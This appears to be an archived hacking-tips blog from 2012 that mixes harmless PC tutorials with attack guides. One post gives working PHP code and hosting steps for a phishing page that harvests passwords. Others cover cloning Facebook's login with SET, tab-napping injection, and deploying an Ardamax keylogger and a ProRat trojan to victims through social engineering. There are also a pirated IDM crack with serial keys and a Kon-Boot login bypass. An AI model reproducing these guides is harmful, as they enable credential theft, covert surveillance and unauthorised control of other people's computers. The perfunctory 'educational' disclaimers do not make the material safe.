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2013-10-10T13:32:00.000-07:00

Clip Converter is a free online media conversion application, which allows you to reocord, convert and download nearly any audio or video URL to common formats.

www.clipconverter.cc

Are you getting the speed you pay for? Our Promise Index™ and Ookla Speedtest help keep your ISP honest! You can help too and join over 250 million others like you who want to test or troubleshoot their Internet connection. What's your Speed?

www.speedtest.net

AddMeFast is a network that will help you grow your social presence. We allow you to look and choose who you want to like/subscribe/follow/view and skip those who you are not interested in.

www.addmefast.com

Online HTML Editor here you can write and see HTML in action.

www.onlinehtmleditor.net

Creating a Cool Facebook Timeline Cover for Fun or Business has Never Been Easier!

With our powerful editor, you can create an integrated looking between your Facebook cover and Profile picture without any Branding or advertisement watermark from us for free!

www.timelinecoverbanner.com

HitLeap is a Traffic Exchange, also known as an autohits service

We help you increase your website hits, rankings (Alexa, Google) and more.

Our affiliate program gives cash and traffic commissions of up to 50%.

www.hitleap.com

Marathi Changathi is a tool for marathi translation from english to marathi powered by google.

www.marathi.changathi.com

Joomscan On Backtrack 5R1

2012-05-26T06:26:00.001-07:00

JoomScan

..:: Is a Vulnerability Scanning Tool ::..

Introduction

Joomscan is the CMS Vulnerability Identification Tool .
This tool is created by YGN Ethical Hacker Group from Myanmar(Burma).
Joomscan is used to find the vulnerability in the websites .
Joomscan helps the developer to find the weaknesses in the websites .
Joomscan is a signature based scanner which can detect the XSS/CSRF, sql injection etc on the target website .

How to open Joomscan on Backtrack 5

Follow : Backtrack > Vulnerability Assessment > Web Assessment > CMS Vulnerability Identification Tool > joomscan

How to Use joomscan

When you open joomscan , it will look like this image (shown below)

The above image shows the syntax and the options

Some more options like check ,update, about and read (shown above)

In the above image ,we are giving the command : ./joomscan -u < target url >

Example : ./joomscan.pl -u www.plusline.org as shown in the image above .

Here ./joomscan.pl : used to start the joomscan -u : used for url

Here it shows the Server name , checking for Anti-Scanner measure

In this image ,it shows fingerprinting and the XSS/CSRF Vulnerability

At last ,it shows the report how many vulnerable points in the website .
This is how we can use this tool .

This tool is best for the Web Developer to test the Security of their website .

NOTE: THIS ARTICLE IS JUST FOR EDUCATIONAL PURPOSE ONLY .

YOU YOURSELF RESPONSIBLE FOR ANY ACTIVITY .

How To Create Phishing Page For Any Website

2012-05-25T08:01:00.001-07:00

Hello Friends,

I recived many requests from my reader for create phishing page for different-2 website like gmail, yahoomail, facebook, orkut, hotmail etc. So today I will share the phishing method, So that everyone will able to create phishing page as their requirements.

NOTE: This tutorial is Education Purpose only don’t misuse it www.hackillusion.com will Not Hold any responsibility.

If you are not aware with Phishing than read it first “What is Phishing and How it Works?”

Follow these steps for create phishing page for any website:-

Step 1:- First of all open the Website in your browser for which you want to create Phishing page.

Step 2:- After open of the website copy the source code of website by right click on page and save to any name with “.html” extension.

Step 3:- Now open notepad and paste the below code and change the “http://www.redirectwebsite.com” to the address which you want to redirect the user after entering of user name and password. Pass.txt is our database where the details are stores and save this file to any name with “.php” extension. Suppose we save it as hi.php.

 1: <?php

 2: header ('Location: http://www.redirectwebsite.com');

 3: $handle = fopen("pass.txt", "a");

 4: foreach($_POST as $variable => $value) {

 5:    fwrite($handle, $variable);

 6:    fwrite($handle, "=");

 7:    fwrite($handle, $value);

 8:    fwrite($handle, "rn");

 9: }

 10: fwrite($handle, "rn");

 11: fclose($handle);

 12: exit;

 13: ?>

Step 4:- Open a notepad and save empty notepad to “pass.txt”.

Step 5:- Now Open the Source Code (Saved in step 2) and find the action tag and replace the address with hi.php (the file which we make in step 3) and save the file.

Step 6:- Now we have create three file. Now upload all three files on the the free hosting site. (000webhost)

Step 7:- After upload open the html file and enter fake user details to check this. and open the pass.txt file if you see the entered details here than all thing is done and if not than check all step again.

If you face any problem than comment below.

What is Phishing and How it’s Works?

2012-05-25T07:57:00.000-07:00

We all listen about the phishing many times, but very less to know about it and some of them have a little knowledge about the phishing. So they will infected to phishing and lost their personal details, username, password etc.

What is Phishing?

Phishing is a way of attempting to acquire sensitive information by a fake page. Scammers will use such attacks to steal money and identities from many new victims around the world. The scammers often create a "look-a-like" webpage that is designed to resemble the target company’s official website.

Most of the phishing page is spread through Emails messages with a link of phishing page. Links in phishing scam messages are often disguised to make it appear that they lead to the genuine institution site. The sender address of the email may also be disguised in such a way that it appears to have originated from the targeted company such as “Dear account holder” or “Dear [targeted institution] customer”.

How Phishing Page Works?

When a victim receive an email from spammers with a link of phishing page, and when user click on the link than the same page open as the link claims like as any target website, any email account etc. So when user fill up the username, password, personal details, account details etc. than these details will send to the scammers and the phishing page will redirects to the original page. So the user don’t understand it.
We take an example to better understand “The scammers will create phishing page and upload them to any hosting site and they use three files for phishing such as an html page[Phishing page], php file[all operation will done here] and txt file[to store password]. So when the user enter his personal details to the phishing page than the php file will save the details to the txt file and and than redirects to the original page. So that when the user enter second time it successfully done to login and the user do not know that their details was hacked.

Creat Your Own Website Free For 1 Year

2012-05-24T14:29:00.002-07:00

If You Have a Local Business in India,Then it’s Time to go online and Creat An Absolutely Free Website ...

Get India Business Online (indiagetonline.in) is an initiative by Google that allows you to create a professional services website for your business in just 15 minutes, for free.

This free package contains a .IN domain name, Website Hosting, and Email for 1 year.

It will take some simple steps to publish your website via www.indiagetonline.in and be online to get inquiries online.

Just follow these steps-

1. Go to www.indiagetonline.in

2. Find Get Started Link

3. Follow these simple steps mentioned on the Get Started page and click on 'Create my free website now' button.

This button will take you to HostGator.in website where you can choose your wish domain availability.

If your domain is available,

click on NEXT.

4. Fill out your business information to apply for your wish website.

You get all this free for first year.

For the next year, you’ll have the option to renew your services with HostGator and there would be discounts too ..!!

Hack the Facebook with Backtrack 5

2012-05-24T07:45:00.002-07:00

Hack ur Friends Facebook Account Using BackTrack5 ...

Let's GO ...

Step 1 : Open set Tool in Backtrack 5 : To open it follow the step shown above .

Step 2 : Time to set the Website Attack Vectors : Below Menu enter your choice : 2.Website Attack Vectors and press Enter .

Step 3 : Select your Attacking Method , Here i choose

3. Credential Harvester Attack Method.

Step 4 : Select Attack Vectors :write 2. Site Cloner and press enter as shown in the image .

Step 5: Enter the Url: To make a clone to facebook login page I entered https://www.facebook.com and press enter . As I press enter it will automatically generate a clone page .

Step 6 : To continue the process you have to put * sign and press enter.

Step 7 : Process will continue as shown in the image above .

Step 8: Open terminal and enter ifconfig command . It will shown your ip address . Now copy the ip address .

Step9 :Open Web Browser and Paste the system ipaddress into Address bar and it will redirect to the facebook login page .

Now Enter your anything to check it will work or not .

FOR EXAMPLE: Here I use

Email : h4x00r

Password:hackingDNA.com

And Press Enter . Let see what happen on the Next step .

Step 10 : In step 7 the process start you remember now when you follow step 8 and step 9 ,then it will come up with all the details of Username and Password .

This is how we set a trap and hack victim facebook and password only on Backtrack 5

Enjoy!

Note:This article is just for Educational purpose only . Do at your own risk.

What is tab napping and step-by-step process to create tab napping

2012-05-23T07:07:00.003-07:00

WHAT IS TAB NAPPING ???

Tab napping is new type of phishing scam that does not require you to click on any URL to redirect you to the phishing site instead it relies on the fact that a lot of people used tabbed browsing(Opening multiple tabs while browsing).In tab napping one of your inactive tab is automatically replaced by with a new tab without your knowledge.For example one of your inactive tab in which you have opened your bank’s website will be automatically replaced with the phishing site of your bank and you will be asked to enter your Username and password.You might think you have been signed out or never logged in but when you will enter the details again it will be sent to the hacker.

HOW DOES TAB NAPPING WORKS ???

Tab napping is more sophisticated than the phishing scams we’ve seen so far, and it no longer relies on persuading you to click on a dodgy link. Instead it targets Internet users who open lots of tabs on their browser at the same time.
How does it work? By replacing an inactive browser tab with a fake page set up specifically to obtain your personal data - without you even realising it has happened.
Believe it or not, fraudsters can actually detect when a tab has been left inactive for a while, and spy on your browser history to find out which websites you regularly visit, and therefore which pages to fake.

Step-By-Step Process

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Step 1: - First of all open bgattack file in notepad and the search for window.location = '<Urs Fake Page Link Here>'

and in place of <Urs Fake Page Link Here> put your fake URL.

Step 2: - In second step we want to inject our js code in html file.

Step 3: - In step 3 we will put our Bgattack.js Injecting Code in html file.

Note: - Tab napping will not work until we will not open new tab.

This tutorial is only for education perpose.

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Change a Hard Drive's Icon

2012-05-22T04:50:00.002-07:00

I'd like to change the icon for a hard drive on my system. I know it's possible, because one of my disks already has a different icon. I must have done it somehow, but I can't find the tip on how to do that.

There are two ways to create a drive-specific icon. The first step for both is to determine the full pathname of the file containing the icon you want, as well as the index of the icon within that file. To view the icons contained in an EXE or DLL file, right-click any shortcut that links to a file (as opposed to a system shortcut like My Computer) and choose Properties. On the Shortcut tab of the resulting dialog, click the Change Icon button. Click Browse and select the file whose icons you want to peruse. When you find the one you want, count off the icons to determine the correct index. Start in the top left corner with zero and count down each column, then to the right. For example, icon 12 in C:\ Windows\System32\Shell32.dll is a picture of a memory chip. Make a note of the full pathname of the file and the icon index, then click Cancel, and Cancel again—you don't actually want to change that shortcut's icon. The Microsoft Windows files moricons.dll and progman.exe, both found in C:\Windows\System32, also contain numerous icons.
One technique for assigning a drive-specific icon uses a file named Autorun.inf in the root directory of that drive. Launch Notepad and enter [autorun] on the first line. Enter ICON= on the second line, followed by the full pathname of the icon-holding file, a comma, and the icon index. It might look like this:
[autorun]

ICON=C:\WINDOWS\SYSTEM\SHELL32.DLL,12
Save the file as "C:\autorun.inf" (you need the quotes to prevent Notepad from appending the .txt extension). Now restart the computer. When you open Windows Explorer, the drive should display its new icon.
The other technique involves editing the Registry. Launch RegEdit from the Start menu's Run dialog and navigate to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\
CurrenTVersion\Explorer. If a subkey named driveicons is present, open it; if not, right-click in the right-hand pane, select New | Key and name the key driveicons. Under the driveicons key, find or create a subkey named C (or the letter of the drive whose icon you want to change). And under this C key find or create a subkey named DefaultIcon. Double-click the (Default) entry in the right-hand pane and set its value to the full pathname of the icon-holding file, a comma, and the icon index. Again you'll need to restart Windows.

If one of these techniques seems not to work for you, try the other. If you apply both to the same drive, the Autorun.inf file takes precedence.

Disable Auto Execution of Autorun.inf

2012-05-21T13:39:00.001-07:00

If you have come across pen drive viruses then you must have seen this file called Autorun.inf.
This is a file that stores the instructions to be carried when you double click your USB drive which in turn leads to the execution of the virus stored there.

However you can prevent the most of the computer virus to spread if you disable the autorun.inf file to execute automatically. Well if you are thinking if this can be done easily by turning off autoplay feature then the file can still be executed if the pen drive is opened.

Steps:

1. We can make the computer to stop executing the autorun.inf file by some registry changes.

2. Just download the reg file from here and merge it in the registry by clicking on Yes in the confirmation prompt.

What this does is it tells the system that the file named Autorun.inf does not exist and thus can’t be opened on its own. However if you need to open it then you have to do this manually using the Notepad.

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Change Default Drive Icon of USB Pen Drive

2012-05-21T13:25:00.000-07:00

Tired of seeing the same old boring drive icon when you insert your USB pen drive in the computer ??

Here is a simple and easy trick that will bring life to the icon you see whenever you insert your drive.

The trick is very easy and you can put any pic of yours to the icon of your drive.

What you need
•    USB drive
•    Icon image file in .ico format (you can either download or create your own using this software)

How to make
1.    Insert your USB Pen Drive and open it.

2.    Create a Notepad file in it and write in the following values as shown below

3.    Here Label is the name of the drive and Icon refers to the name of your icon file.

4.    Save it and then rename it to “autorun.inf”.

5.    Ensure that autorun and ico files are present in the drive all time (you may also hide them).

The drive will show the new icon when you insert it the next time. So tell me how you liked the trick ..

Facebook not accessible through some ISP in India [ Solved ]

2012-05-04T10:57:00.001-07:00

Facebook.com is inaccessible from 12th march 2012 in india through some isp providers.Some website like vedified says this is a ban due the going political controversies in the country.The ISP's such as Airtel , Tata communications , 5net , WEFE ,BSNL are suspected to ban facebook.com.But after i interrogated with some of the facebookers i came to know that some ISP are working fine now while some are still not working.I think this is a temporary problem and you don't need to panic.

The Day Facebook will ban in india you will see people roaming on street asking " Hey like my pic" , "Hey Comment on my profile pic"

- SOLUTION -

1 - Use www.thefacebook.com to access facebook. worked ? You are done here , if not look down

Go to your modem DNS settings and change them to -

Preferred DNS server address for Open DNS is:

208.67.222.123

Alternate DNS server address for Open DNS is:

208.67.220.123

worked ? if yes you are done here , or read below

3 - Downlaod TOR and open through it :D

How to Control Multiple Computers with a Single Keyboard and Mouse

2012-05-03T10:47:00.001-07:00

If you have two or more computers at one desk, you don’t want two or more sets of keyboards and mice cluttering up your workspace, too. You can buy a hardware gadget that lets you share a single keyboard and mouse with several computers (which involves a mess of tangled wires), or you could use a free software solution called Synergy. The Synergy application runs on all the computers you’re using—the one that has the keyboard and mouse connected and the one(s) that do not—and lets you control all of them from that keyboard and mouse. That means you can move your mouse off one computer’s screen and it will appear on the other, where you can type and work as well. Synergy also lets you share Clipboard contents between computers. If you copy information to the Clipboard on one computer and move your mouse to the other, you can paste it there, even though they’re two different systems.

Note: We’ve covered Synergy in the past, but a recent update to the Synergy application has made setting up and using Synergy even easier, so we thought it was a good time to update the post and highlight this incredible app again.

Synergy works between any number of PC, Mac, and Linux desktops. Below, we’re going to explain how to set up both Windows and Mac sharing or Windows-to-Windows to share a single keyboard and mouse using Synergy.

Before you get started, you need to know two terms—server PC and client PC. When you set up Synergy, you’ll have one “server”: this is the computer that has the keyboard and mouse physically connected to it. The rest of the computers will be “clients.” First, set up the server.

If you’re sharing a keyboard and mouse between two Macs, consider Teleport, a free, Mac-only tool that works very much like Synergy but is a little easier to set up with Mac-only keyboard- and mouse-sharing.

What You’ll Need:

Two or more computers on the same local network.
Synergy for Windows: If you’ll be running one or more Windows PC’s in your setup, download and install the Synergy Installer for Windows on each PC. (As of this writing, the current version is labeled 1.4.2 beta.)
SynergyKM for Mac: If you want to run one or more Macs on your setup, download and installSynergyKM on each Mac you want to use.

Note for Linux users: I haven’t tried it, but quicksynergy looks like it could be a good graphical interface for Synergy. If you know of a better option, let’s hear it in the comments.

Before you get started, you need to know two terms: server PC and client PC. When you set up Synergy, you’ll have one “server”: this is the computer that has the keyboard and mouse physically connected to it. The rest of the computers will be “clients.” First, set up the server.

Set Up the Synergy Server

Download Synergy for Windows and install it on your PC. As of this writing, the most current version is Synergy 1.4.2. Install and run Synergy, then select Server (Share This Computer’s Mouse and Keyboard).
Then click the Configure Server button to open a Server Configuration dialog, where you’ll add all the computers that will be controlled by the server’s keyboard and mouse and their position in relation to each other.

If you want to use a Mac as the server, the process is very similar using SynergyKM; launch the preference pane, select Share my keyboard and mouse, and move to the Server Configuration tab to set up your screens.

Configure Multiple Synergy Screens

In the Screens And Links tab of the server configuration, you should already see your host computer in the graphical layout screen. My server computer name is Windows, so that’s what the first Synergy screen name is.

Now, to add the other computer (your client) to Synergy, you need to know its name as well. By default, the client uses the same name as your computer on the network (for example, my server is Windows; my client is Hack).

To find the name of your computer in Windows, open your Start menu, right-click Computer, and select Properties. Your computer name is listed under Computer name, domain, and workgroup settings. On a Mac, open the Sharing preference pane; your computer name is listed in the top text input.

Once you know your computer’s names, drag and drop the monitor icon from the top right of the Screens and Links dialog onto the layout (we’re still working on your server PC); drop the new monitor icon next to your server in the same layout as your monitors are on your desk. For example, my Mac’s monitor is to the left of my Windows monitor. Double-click the Unnamed screen you just added, then enter the client’s screen name.

When you’re done, you should see two computers on the Screens and Links grid that mirror the monitor setup on your workspace. If you have a particularly wild screen position (a checkerboard of flatscreens, perhaps?), you can even set up screens on top of and below each other here.

Set Up the Synergy Client

Download and install Synergy on the client computer (the one without the keyboard and mouse connected).

On Windows

If you’re Synergy client is going to be a Windows computer, download the sameSynergy installer for Windows. After you’ve installed your Synergy client, launch Synergy exactly the same way as you did on the server, except choose Client (Use Another Computer’s Keyboard And Mouse). Enter the name of the server computer. To try the connection, click the Start button: first on the server and then on the client PC. Try moving the mouse off the server screen. If all goes well, it will land on the client screen safely!

On Mac OS X

If the second computer is a Mac, downloadSynergyKM. After you’ve installed SynergyKM, launch the SynergyKM preference pane, then choose Connect to a shared keyboard and mouse. Enter the name of the server computer in the Client Configuration tab and click the Apply Now button. To try the connection, click Turn Synergy On in the General tab.: first on the server and then on the client PC. Try moving the mouse off the server screen. If all goes well, it will transport seamlessly to your client PC.

Note: If you have any problems during this step on your Mac, I’ve found that entering the server’s local IP address seems to work.

When you’re satisfied with the results, close the Synergy window. Synergy will continue running in your system tray, from which you can start or stop the application as needed. Now you’re sharing the mouse and keyboard between two computers simultaneously. Piece of cake.

What is Hibernate Mode and its advantage over StandBy Mode..

2012-05-02T13:42:00.000-07:00

Hibernate mode works in a way that is a bit different from standby mode.

When a computer enters StandBy mode, OS turns off most of the devices in the computer (including the display, hard disks, and peripherals), but keeps just enough power flowing to keep the information in memory intact—information that includes open windows and running programs. When you exit standby mode (typically by moving the mouse or pressing a key), Windows is returned to the state in which you left it. However, when a computer is in standby mode, it is still reliant on a power source. If the power source is interrupted (for example, if the battery runs out), information in memory is lost.

When your computer enters Hibernate Mode, Windows saves the information in memory (including open programs and windows) to your hard disk, and then your computer shuts down. When you start the computer after it has been hibernating, Windows returns to its previous state. Restarting to the previous state includes automatically restarting any programs that were running when it went into hibernate mode, and it even restores any network connections that were active at the time.

The advantage of hibernation mode over standby mode is that when a computer is in hibernation mode, it is not reliant on a power source—the computer is completely shut down.

To configure your computer to use hibernate mode, use the Power Options Properties dialog box. Click the Hibernate tab and select the Enable Hibernation check box. If the Hibernate tab is unavailable, your computer does not support this mode. Hibernation works by saving the information currently stored in your computer’s memory to hard disk. To do this, Windows creates a hibernation file on the root of your system partition. This file changes size, depending on the amount of memory you have, but always consumes the amount of space it will need—even if you have never hibernated. Unless you plan to use hibernation, you should disable this option to save disk space.

Thank you for reading. Please do leave a comment and your suggestions are always welcome.

Kon-Boot : Access any PC without Knowing Password

2012-05-02T11:27:00.004-07:00

There are times when you may need to access a computer but you don’t know the password – this can include running an old machine you haven’t used it for years, using one purchased at a flea market or online auction, or even the need to quickly access your child’s computer for something. What ever the reason, accessing a computer without knowing the password is fairly simple with this free tool called Kon-Boot .

Of course there are alternatives like Ophcrack,However particularly I think Kon-Boot is the best tool, Which doesn’t ask any questions while gaining access to any PC without knowing its’ password.
Kon- boot is a software that will allow us to access any computer without knowing the password, and without modifying any files on Hard disk. All we have to do is to (just ) insert a boot (cd or floppy) disk Burned with Kon-boot software(110kb) in to any PC , and this offers unlimited access to that machine.

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Kon-boot which was initially started as a small project for Linux (mainly Ubuntu),where it allows to log into a Linux system as ‘root’ user without typing the correct password or to elevate privileges from current user to root. Now it was moved to windows platform where it enables Windows users to login to any password protected machine profile without any knowledge of the password.

This program works with the following versions of Windows: XP (SP1, SP2, SP3), Vista (Business, Ultimate), 2000, Server 2003 and 2008, and Windows 7. Kon-Boot also allows you to boot Linux (distributions: Ubuntu, Gentoo, Debian and Fedora) without a password as well.
Windows users doesn’t require any special instructions for using kon-boot , just boot the PC with Kon-Boot CD/Floppy, select your profile and put any password ,that’s all.The funny thing is Zipped version of Kon-boot for CD i.e ISO image is 8.5kb (110 kb after extracting ),where as Zipped version for floppy is 10kb which will goes to 1.4mb after unzipping it.

Download ; Kon-boot

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Access any website without registering

2012-04-28T11:59:00.000-07:00

Hey guys this is the warwolf and in this tutorial I will be telling you how to access website or forums with requires registration before viewing the topics. Just follow the simple steps described below.

1. Download a Firefox add on named User Agent Switcher

2. Now go to Tools > Default User Agent > User Agent Switcher > Options. You will find a window shown below.

3. After opening the it, click on New. After clicking on New button you will get another window like this, Shown in the image below.

4. Now in the description feild add :

crawl-66-249-66-1.googlebot.com

And in User Agent feild type :

Googlebot/2.1 (+http://www.googlebot.com/bot.html)

Now click on OK and again OK. User Agent Switcher window will be closed now

5. Now again go to Tools > Default User Agent, and select crawl-66-249-66-1.googlebot.com as your Default User Agent.

6. Now you Done ! Just open your favroite forum and start browsing without registering

Rec Studio 4 – Reverse Engineering Compiler & Decompile

2012-04-27T13:32:00.001-07:00

REC Studio is an interactive decompiler. It reads a Windows, Linux, Mac OS X or raw executable file, and attempts to produce a C-like representation of the code and data used to build the executable file. It has been designed to read files produced for many different targets, and it has been compiled on several host systems.

REC Studio 4 is a complete rewrite of the original REC decompiler. It uses more powerful analysis techniques such as partial Single Static Assignment (SSA), allows loading Mac OS X files and supports 32 and 64 bit binaries.

Although still under development, it has reached a stage that makes it more useful than the old Rec Studio 2.

Features

Multihost: Rec Studio runs on Windows XP/Vista/7, Ubuntu Linux, Mac OS X.
Symbolic information support using Dwarf 2 and partial recognition of Microsoft’s PDB format.
C++ is partially recognized: mangled names generated by gcc are demangled, as well as inheritance described in dwarf2 is honored. However, C++ is a very broad and difficult language, so some features like templates won’t likely be ever supported.
Types and function prototype definitions can be specified in text files. Some standard Posix and Windows APIs are already provided in the Rec Studio package.
Interactivity is supported, limited to definition of sections, labels and function entry points. Will need to improve it to support in-program definition of types and function parameters.

Although REC can read Win32 executable (aka PE) files produced by Visual C++ or Visual Basic 5, there are limitations on the output produced. REC will try to use whatever information is present in the .EXE symbol table. If the .EXE file was compiled without debugging information, if a program data base file (.PDB) or Codeview (C7) format was used, or if the optimization option of the compiler was enabled, the output produced will not be very good. Moreover, Visual Basic 5 executable files are a mix of Subroutine code and Form data. It is almost impossible for REC to determine which is which. The only option is to use a .cmd file and manually specify which area is code and which area is data.

You can download Rec Studio 4 here:

Windows – RecStudioWin.zipUbuntu – RecStudioLinux.tgz
Mac – RecStudioMac.tgz

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Boost Torrent Speeds using UTorrent Turbo Booster

2012-04-25T14:48:00.000-07:00

UTorrent Turbo Booster is a kind of plugin for the most popular p2p client called UTorrent which will improve speeds and functionality of your torrent application. Now this tool is designed for getting your speeds higher and making your downloads fast and much more stable by increasing seeds which are almost lost during the transaction. So now using this software you will be able to download your movies, songs and games at much higher speeds.

Download UTorrent Turbo Booster :

Well if you are really keen of getting this freeware utility for boosting your UTorrent downloads than you can download it from software informer website for free. You can also more in details about this software right on their website. So now have fun boosting your speeds and downloading awesome stuff.

How to Make IDM Full Version without Patching

2012-04-25T14:23:00.003-07:00

So just check out the below trick on how to make IDM ( Internet Download Manager ) full version through HOSTS File Trick. The procedure is really easy to follow and you can make this happen just in few seconds.

Follow below steps :

1. Make sure you have installed the latest version of IDM if you do not have it you can download it from the official creators website.

2. Now after you have downloaded and installed the latest version just close the IDM and now go to start menu and make a search for Notepad.

3. Now right click on Notepad and than Run It As Administrator.

4. Now navigate to C: > Windows > System 32 > Drivers > etc. > Hosts.

5. When you are in the etc. folder you might not see any files their as you have click on show all files on the right hand side below.

6. Now open the Hosts file and paste all the below lines like in the image.

127.0.0.1    tonec.com
127.0.0.1    www.tonec.com
127.0.0.1    registeridm.com
127.0.0.1    www.registeridm.com
127.0.0.1    secure.registeridm.com
127.0.0.1    internetdownloadmanager.com
127.0.0.1    www.internetdownloadmanager.com
127.0.0.1    secure.internetdownloadmanager.com
127.0.0.1    mirror.internetdownloadmanager.com
127.0.0.1    mirror2.internetdownloadmanager.com

7. So now as you can see in the above image how I have pasted all the lines @ the end of the Hosts file, you have to do same as above, now hit save.
8. Now when you have saved the HOSTS File you can simply enter any serials from below in your IDM Registration page.

RLDGN-OV9WU-5W589-6VZH1
HUDWE-UO689-6D27B-YM28M
UK3DV-E0MNW-MLQYX-GENA1
398ND-QNAGY-CMMZU-ZPI39
GZLJY-X50S3-0S20D-NFRF9
W3J5U-8U66N-D0B9M-54SLM
EC0Q6-QN7UH-5S3JB-YZMEK
UVQW0-X54FE-QW35Q-SNZF5
FJJTJ-J0FLF-QCVBK-A287M

9. Now enjoy your full version IDM without purchasing or patching its totally genuine and totally legal, you can update and it will still work like a charm so if you still have any queries than make sure to comment below.

The Onion Routing - highly anonymous

2012-04-24T14:34:00.000-07:00

We all many times use proxies for staying anonymous on internet.

Lets quickly check out , what we are actually doing while using proxies. We first connect to a proxy server which brings resources requested by us from the web server.

Thus a proxy server hides our identity by acting as an intermediary between us and the web server that we are accessing. You might want to read detailed post on proxies here.
Suppose we break into a server using a proxy server thinking that we are anonymous. But what if owner
of web server starts enquiring about the clients connecting to it using the proxy server and it is possible that owners of proxy server might reveal our identity. This means we cant actually rely on proxy servers for being anonymous online. Here comes the concept of THE ONION ROUTING (TOR) into picture. By using this , the client traffic is supposed to be passed from three different servers or nodes before reaching to actual web server. It may randomly take any path through any three nodes.

Lets consider it has taken path shown by green arrows. Now

* Node 1 knows only actual origin(client) but not actual destinantion(web server).
*Node 5 neither knows actual origin nor actual destinantion.
*Node 9 knows actual destination but not actual origin.

Thus no one exactly knows which client is accessing which web server. So it is highly anonymous.

Installing and Using TOR.

Step 1. Download the TOR client from here and run the setup .

Note: You need to install a Mozilla firefox add on which is included in package you have downloaded to use Tor.

Step 2. Open the 'Vidalia Control Panel' from the task bar and Click on 'Start Tor'.

Step3. Now open Mozilla Firefox browser, single click on red highlighted 'Tor Disabled' on right corner of browser and it will turn to green highlighted 'Tor Enabled'.

Now just log on to 'www.whatismyip.com' and you will see your new public IP address that will keep changing after an interval of time according to the path randomly taken by web traffic through three different nodes.

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Remote Keylogger - configure and use

2012-04-22T15:17:00.001-07:00

Keyloggers are the best to spy upon anyone but many beginners find problem in using remote keyloggers . So in this post , I will be showing you the same.Remote keyloggers are very easy to use in comparison to trojans where the concepts like IP addresses, port forwarding are involved. I highly recommend you to read the basics of keyloggers here .

Requirements :-

1. Download a free remote keylogger 'Ardamax' with its serial key here. Password:explorehacking.com. Antivrus might detect it as a virus but dont worry.

2. Signup at any webhosting site supporting FTP (file transfer protocol) and note down your ftp host name.

For example , I have signed up at www.my3gb.com and ftp host name is username.my3gb.com .

We are actually gonna create an executable(exe) file, which would be given to victim and he is supposed to run it. The keylogger would be installed on his computer and we would be getting automatically keylogs/screenshots in our web hosting site ftp account.

I have added the self-explanatory pictures, follow them.

After entering registration key, click on Remote Installation
option . If it still says that its unregistered version, restart computer.

Keylogger would run invisibly on victim's computer. Victim have would have to
press Ctrl+Shift+Alt+H and enter the password you have set to make it visible.

FTP hostname may be different for different web hosting sites. Mostly it is username.webhostingsite.com . You can specify any remote folder in which you wish to get logs. After filling all details, click on 'Test' and you would get any test file to make sure that information you filled is valid and FTP connection is okay.

You can change icon of exe file (keylogger engine) if you wish

Just go through the Summary information and click finish.

So you have got an exe file which is detectable as a virus by antiviruses. Now use social engineering to make victim to click on this exe file and hopefully you would start getting the keylogs and screenshots in your account. You cant send it as an attachment in email ID. The good way is to uplaod it on any uploading site and give him the dowloading link.

Have fun :)

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Trojan Horse | RAT | Configure and Use | Tutorial- Part 2

2012-04-22T15:15:00.004-07:00

Just go through the Part 1 which includes the basics of Trojan Click here. This tutorial is about configuring and using a trojan. There are many trojans available on internet for free. Some popular ones are Beast, Pro Rat, Netbus , Back Orifice, Girlfriend, Sub 7. I will be using Pro Rat in this tutorial.

Requirements

1. Prorat- Click here to download Trojan Prorat.
2. Hostname - Your IP address would probably be dynamic that it keeps changing everytime you disconnect and reconnect. You need a host name which always automatically keep pointing to your changing IP. Follow these steps -:

1. Log On to www.no-ip.com and register for an account.
2. Go to Hosts/Redirects -> Add Host and choose any free available hostname. Do not change any other option and simply click on Create Host.

3. Downloading and install their DNS update client available here http://www.no-ip.com/downloads.php Run it and enter your credentials. Update your host name and save it.

4. Lets check whether your IP has been associate with chosen host name or not. Go to command prompt and type 'ping yourhostname' (without quotes) , hopefully it should reply with your IP address.

Tutorial for configuring Trojan.

1. Open prorat.exe that you have downloaded.
2. Click on Create and then Create ProRat Server

3. Enter your host name in the ProRat Notification field as shown. Uncheck all other options.

4. Click on general settings Tab and have a look at server port,password, victim name. Remember these things.Check out and configure other options as per your need. You can bind server.exe with any genuine file, change its icon etc.

5. Finally click on create server and now its ready to be sent to victim. Once victim installs it, it would automatically disable antivirus/firewall.

Modes of sending-:
You must be thinking of sending this server.exe to victim through an email as an attachment but unfortunately you cant do so. The good option is to upload it on any uploading site like mediafire.com and give downloading link to victim.

What after victim has run the server part ?

1.Click on ProConnective Tab and start listening to connections. Allow firewall if it asks you to open a port.
2.You will start listening to connections, I mean you will get a notification as shown when victim would be online.

Note: If you know victim is online and still its not listening to any connections. Trace victim's IP,enter in IP field and hit connect. But its gonna work only if he is not behind any network and directly connected to internet. If you dont know how to trace IP, mention in comments.

What after successful connection ?

After you have managed to connect to victim's machine. There are numberless interesting things to do. I leave this part on you. Have Fun.

How to make it undetectable from antivirus ?
Though there isn't any hard and fast way to make it fully undetectable from all antiviruses. The real way to do it is modify the source code of open source trojans available. Its very challenging job. There are many crypters which claim to make it undetectable but unfortunately hardly one out every hundred works. I would try to write next article on the same.

Contermeasure against Trojans -
The obvious coutermeasure against trojans is that do not accept downloading links blindly. Keep your antivirus up to date.

Detecting and removing Trojan -
Though trojan once installed is very hard to remove . It would hide itself from the Task Manager . Install Process Explorer and it would hopefully show you all process running including trojan. Kill the process and remove it. One good thing is to carefully check the open ports and services running through 'netstat' command. Anyways , the best option is to reinstall the windows.

Feel free to ask the queries in comments :)

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Trojan Horse (Basics) - Part 1

2012-04-22T15:14:00.000-07:00

Have you watched movie Troy ? okay lets leave . Have your wallpaper ever changed automatically ? Have the programs ever started without your initiation ? Have the browser opened unexpected websites automatically ? Simply have you ever felt that someone else is controlling your computer ? NO ?

Congrats, you probably haven't been a victim of trojan yet :).

A trojan horse is a remote administration tool(RAT). This is some thing extremely dangerous. A trojan gives the full control of victim's PC to the attacker.

A trojan has two parts . One is client part (Control Panel) and other is server part (meant to be sent to victim).

The basic methodology of using a trojan is as follows:-

1. Attacker creates an executable file of size in kbs. This is server part of trojan and mostly called as server.exe

2.Attacker might hide this server.exe behind any genuine file like a song or image. Attacker gives this file to victim and victim is supposed to double click on it.

3.As victim run that server part , a port on victim's computer gets opened and attacker can control his PC sitting remotely in any part of the world through the control panel(client part). Attacker can do anything with victim's computer remotely that victim himself can do on his computer.

Note: Now I am assuming that you know a little bit about IP addresses that is lan/internal/private and wan/external/public IP.

Two different methods of working of Trojan.

